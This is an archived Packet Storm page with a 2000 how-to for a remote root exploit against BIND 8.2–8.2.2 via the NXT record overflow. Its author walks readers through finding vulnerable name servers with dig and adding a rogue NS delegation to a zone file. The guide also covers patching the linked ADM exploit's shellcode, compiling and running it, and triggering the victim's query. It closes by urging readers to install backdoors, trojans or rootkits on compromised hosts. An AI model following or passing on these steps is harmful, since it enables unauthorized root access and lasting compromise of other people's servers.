what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NXT-Howto.txt

NXT-Howto.txt
Posted Mar 30, 2000
Authored by E-Mind | Site hack.co.za

BIND 8.2 - 8.2.2 remote root exploit how-to. Explains how to manipulate DNS records on a primary name server to exploit this vulnerability.

tags | exploit, remote, root
SHA-256 | 13963a941af3f8fdd0f2293e438b81cbd1c0cfbbfca61326c27bfe8f6538b9c0

NXT-Howto.txt

Change Mirror Download

+-------------------------------------------------------+
|BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind|
+-------------------------------------------------------+


(A) What is a DNS?

1. How do I query a DNS?
2. How do I find a vulnerable DNS?


(B) How do I edit DNS entries?

1. How do I find a Zone file?
2. How do I edit a Zone file?


(C) How do I exploit a vulnerable machine

1. What do I need to obtain before I could use the exploit?
2. What is the theory behind the exploit?
3. Where do I get the exploit from?
4. Why should I patch the exploit?
5. How do I patch the exploit?
6. How do I compile the exploit?
7. How do I run the exploit?
8. How do I make the vulnerable server make a query to my ip?
9. What should I do before I leave the shell?


(D) Who should be credited for this HowTo?

1. Who is the person that motivated me into writing this?
2. Who am I?
3. Can I distribute/change this HowTo?
4. Final Credits and Greets :)


Section A - What is a DNS?
--------------------------

A DNS - Domain Name Server, is used to convert host names to IP addresses
and IP addresses to host names.
for example: www.infoseek.com = 204.162.96.173

1. How do I query a DNS?
First of all, you should probably know that when you configure your
TCP/IP and wish to use hostnames in your web browser to get to a web
site, instead of typing the IP address of that site, you would need
to configure a DNS server. You will get your DNS server IP address
from your ISP. To make queries to the DNS server, Unix systems
(and NT) has a tool calls "nslookup", the syntax of that tool is:
$nslookup <hostname>
or
$nslookup <ip>
A properly configured DNS server contains two "lists" for a domain
called the Zone files. One zone file is used for hostname to IP
resolution, and the other is used for reverse lookup or IP to Hostname
resolution. "nslookup" can be used in an interactive way, this is the
way we will work with, as it is more powerful. Just type nslookup at
the shell and press enter. You will get a ">" prompt, from which you
can start typing in IP addresses and hostnames. There are some
commands in nslookup which we will discuss later in this howto that
will allow you to get some more information.

2. How do I find vulnerable systems?
Remember, we will exploit Name Servers.
We first need to find out the version of the DNS service that runs on
a remote host. As well, we will need to know the Operating System, but
there are many HowTo`s on that. We will use a tool called "dig", which
is available on most Unix systems. The syntax looks like this:
$dig @<victim_ip> version.bind chaos txt | grep \"8
look at the output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is
vulnerable. If you see 8.2.2P2 - P5, it is not.
If you don't get an output and you just see your terminal stuck, it
means that the DNS admin has probably edited the source so that the
server won't give you this information. IT COULD BE VULNERABLE.


Section B - How do I edit DNS entries?
--------------------------------------

The first thing you should know is, DNS is only text files, and entries are
added or changed by editing those text files and restarting the service.
The main file that controls the DNS service is /etc/named.conf or
/etc/named.boot. If /etc/named.conf exists, that is the file you should be
working with.

1. How do I find a Zone file?
As I said earlier, a properly configured DNS has two "lists" or zone
files for each domain it serves.
you will need to edit that zone file to change or add entries to that
domain. A domain is for example, infoseek.com, and a hostname is www,
the FQDN is www.infoseek.com. FQDN stands for Fully Qualified Domain
Name. To find the zone file for FQDN to IP for infoseek.com domain,
we should first query our DNS server to tell us what is the primary
DNS for infoseek.com. This is how it is done:

$nslookup
Default Server: xxxxxx.xxxxxxx.xx.xx
Address: xxx.xx.xx.xx
>set q=ns<ENTER>
>infoseek.com<ENTER>
>infoseek.com nameserver = NS-UU.infoseek.com
>NS-UU.infoseek.com internet address = 198.5.208.3

As you can see, now we have the ip address of the name server of
infoseek.com. Let us suppose that we are root there.
We SSH to their DNS, and locate the file /etc/named.conf
We view the file and we see at the top an options section.
there is a line there that says:
directory "/var/named"
This means, that the zone files will sit in /var/named.
We further look down the file and we see some zone sections,
We see a zone for infoseek.com which looks like:

zone "infoseek.com"{
type master;
file "infoseek.com.zone";
};

As we can understand now, the zone file is:
/var/named/infoseek.com.zone, and that is the file which we should
edit.

2. How do I edit a Zone file?
First, let's take a look at that zone file.
We see at the top a SOA record, which probably looks to you like a
block of garbage text at the top.
then, we see something like:

@ IN NS NS-UU.infoseek.com.
www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2
.
.
.

As we can see, there are several types of records, for our exploit to
work, we only need to focus on one record, which is NS.
An A record is the typical Hostname to IP record type.
CNAME is a Canonical Name, which is an Alias to an A record.
A PTR record is a Pointer record, which is the oposit of A, it points
IP addresses to FQDN`s. PTR`s are used in the "other" zone file.
We will not discuss about it here but it is recommended that you read
about DNS, there are many good books about DNS out there, read one.
An NS record is a Name Server record type which says what is the Name
Server for a specific domain or sub-domain.
As you might have noticed, the NS record NS-UU.infoseek.com ends with
a ".".
This is because we specified the FQDN and not the hostname.
When the period is omitted, the domain name is added after the
hostname and if we where to omit the last period, it would be like we
have said:
NS-UU.infoseek.com.infoseek.com.
So instead of:

www IN A 204.192.96.173
we could write:
www.infoseek.com. IN A 204.192.96.173
Which is the same thing.

For our exploit to work, we will need to add a sub-domain to a name
server on the net. So let's again suppose that we are root at
NS-UU.infoseek.com.

How do we add a sub-domain?
We just need to add another NS record.

subdomain IN NS hacker.box.com.

this means that the name server of the domain subdomain.infoseek.com
would be hacker.box.com.
hacker.box.com needs to be resolved to a your machine's IP address, so
enter your FQDN instead.
Now, we need to restart the name server so the changes will take
effect.
initiate the following command:

#/usr/sbin/ndc restart<ENTER>
new pid is 24654
#


Section C - How do I exploit a vulnerable machine
-------------------------------------------------

1. What do I need to obtain before I could use the exploit?
First of all, 3 brain cells. ;p
You will also need root privileges on a PRIMARY Name Server on the
Internet which is Authoritative for a Domain on the net.
Also, you will need a machine from which you will run the exploit.
As for the DNS requirement, you could also ask someone that has root
privileges on such a DNS, to edit the zone files for you.

2. What is the theory behind the exploit?
The exploit uses a Buffed Overflow in BIND versions 8.2 - 8.2.2 to
gain a remote root shell.
The exploit binds to port 53 on the local machine, and acts as a DNS
server. When someone queries it, it will send a large NXT record that
contains code that will exploit the remote BIND server,
provided that it is a vulnerable machine.
To get more information on how Buffer Overflows work, *PLEASE* read
Aleph One`s exelent article:

Phrack 49 Article 14 - Smashing The Stack For Fun And Profit.
URL: https://www.phrack.com/search.phtml?view&article=p49-14

3. Where do I get the exploit from?
https://www.hack.co.za/daem0n/named/t666.c

4. Why should I patch the exploit?
You might have heard that one needs to patch the exploit to make it
work. This is because ADM thought only elite hax0rs should use their
exploit and so, they planted a small "bug" in the code.
What they actually did, is change the shell codes so that instead of
running /bin/sh, the exploit will run /adm/sh.

5. How do I patch the exploit?
As you may see, only a small change needs to be done in the code.

/ = 2F(HEX) ===> / = 2F(HEX)
a = 61(HEX) ===> b = 62(HEX)
d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)

So, all we need to do, is search the source code for
0x2f,0x61,0x64,0x6d,0x2f and replace it with 0x2f,0x62,0x69,0x6e,0x2f

Done.

6. How do I compile the exploit?
As always:
$gcc t666.c -o t666<ENTER>
$

7. How do I run the exploit?
$su<ENTER>
Password:<password><ENTER>
#./t666 1<ENTER>

Now the exploit is bound to port 53 (if you run a DNS server on the
machine you want to run the exploit on, you must first kill the name
server, use: #killall -9 named)
The exploit is now waiting for queries, the second someone will query
your exploit machine you will get an output:
Received request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
If it was a DNS server, it would enter a proxy loop, and if it is a
vulnerable server, running on Linux Redhat 6.x - named 8.2/8.2.1
(from rpm) (this is because we chose architecture 1, type ./t666
without arguments and you will get a list of the architectures that
the exploit will work on, I have tried it on Redhat linux only, so
don't ask me why solaris doesn't work, I don't have a solaris to test
it on, nor do I have the time to put more effort on this exploit.)
You will get a remote root shell.

8. How do I make the vulnerable server make a query to my ip?
This is very easy now, once you have added a subdomain in a name
server on the net and made yourself its DNS, the only thing left to
do, is query the vulnerable server for a host inside the added
subdomain.

$nslookup
>server <victim><ENTER>
>www.subdomain.infoseek.com<ENTER>

What will happen, is the server will ask, in this case
NS-UU.infoseek.com for the IP of www.subdomain.infoseek.com.
NS-UU.infoseek.com will start searching and will get to subdomain,
because subdomain has its OWN NS record, it will tell <victim> that
hacker.box.com. (your hostname in this case) is the Authoritative Name
Server for subdomain.infoseek.com. Now, what will happen, is that
<victim> will query hacker.box.com, for the ip address of
www.subdomain.infoseek.com. BOOM! :)

9. What should I do before I leave the shell?
When you exploit BIND, it will crash named, so you need to add some
kind of a back door so you could log back in and restart it.
*DO NOT TRY TO RESTART IT WHITHIN THE SHELL.*
There are plenty of trojans and rootkits you could install on the
server, I leave that to you.


Section D - Who should be credited for this HowTo?
--------------------------------------------------

1. who is the person that motivated me into writing this?
That person is no other the gov-boi, he operates the great site
www.hack.co.za. Without him, this How-To would have never been writen!
Thanks Gov-Boi :)

2. whoami?
I am E-Mind, you can find me on IRC (EFNet)
I am not giving away my E-Mail, and will not answer stupied questions.
I think I have provided everything you need to RUN the exploit in this How-To.
If not, and if you find errors, PLEASE /msg me on IRC.

3. can I distribute/change this HowTo?
I take no responsibility for your actions.
You are free to do whatever you want with this file

*AS LONG AS "SECTION D" REMAINS UNTOUCHED*

4. Final Credits and Greets :)

Credits:

Gov-Boi - Keep up the good work man! ;p

Aleph One - no other article out there explains buffer overflows
better then yours!

ADM - for writing this cool exploit.


Greetz:

#myth!, #!glich, #972, #darknet, #feed-the-goats - `sup guyz? ;]


EOF
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close